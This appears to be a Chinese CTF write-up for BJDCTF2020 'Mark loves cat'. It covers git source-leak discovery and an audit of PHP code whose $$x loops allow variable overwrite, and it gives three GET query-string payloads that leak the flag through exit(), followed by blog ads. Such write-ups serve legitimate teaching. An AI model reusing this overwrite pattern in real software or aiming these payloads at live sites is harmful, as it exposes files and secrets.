[BJDCTF2020]Mark loves cat
[BJDCTF2020]Mark loves cat
打开环境,在网页端没发现什么提示,通过dirsearch发现有git源码泄露
通过githack下载下来
flag.php里的内容是读取flag文件内容并赋值给$flag
<?php
$flag = file_get_contents('/flag');
index.php的内容多一些,贴出来做代码审计
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y; //POST型声明至当前文件
}
foreach($_GET as $x => $y){
$$x = $$y; //GET型变量重新赋值为当前文件变量中以其值为键名的值
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //如果GET型中flag变量的值等于GET型中一个不为flag的键名则退出
exit($handsome); //exit显然能利用
}
}
//如果GET型和POST型中都没有变量flag,则退出
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
前面两个foreach进行循坏,遍历POST和GET,将数组中的值赋值给$y,也就是变量覆盖
第三个foreach里的if意思是存在(键值为flag的键值对)的值绝对等于这次比较的键值且这次键值不等于flag
下一个if判断不存在键值为flag的键值对(get型)且不存在键值为flag的键值对(post型)
最后一个if判断存在(flag,flag)(post型)或存在(flag,flag)(get型)
最后因为exit也是一种输出,我们可以执行到exit将flag值输出。
方法1:exit($handsome);
首先输出handsome,
就要将handsome的值转为$flag ,即handsome=flag
并且为了满足条件,需要有键值为flag的键值对,即flag=xxx,改变flag的值需要改回来,所以flag=a&a=flag
payload1:?handsome=flag&flag=a&a=flag
payload2:?handsome=flag&flag=handsome
方法2:exit($yds);
GET,POST 都不输入flag键就可以,只需要将exit中的
yds改为我们需要的flag即可
payload:?yds=flag
方法3:exit($is);
将exit中的is改为flag,同时满足if条件存在get型的(flag,flag)
payload:?is=flag&flag=flag
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具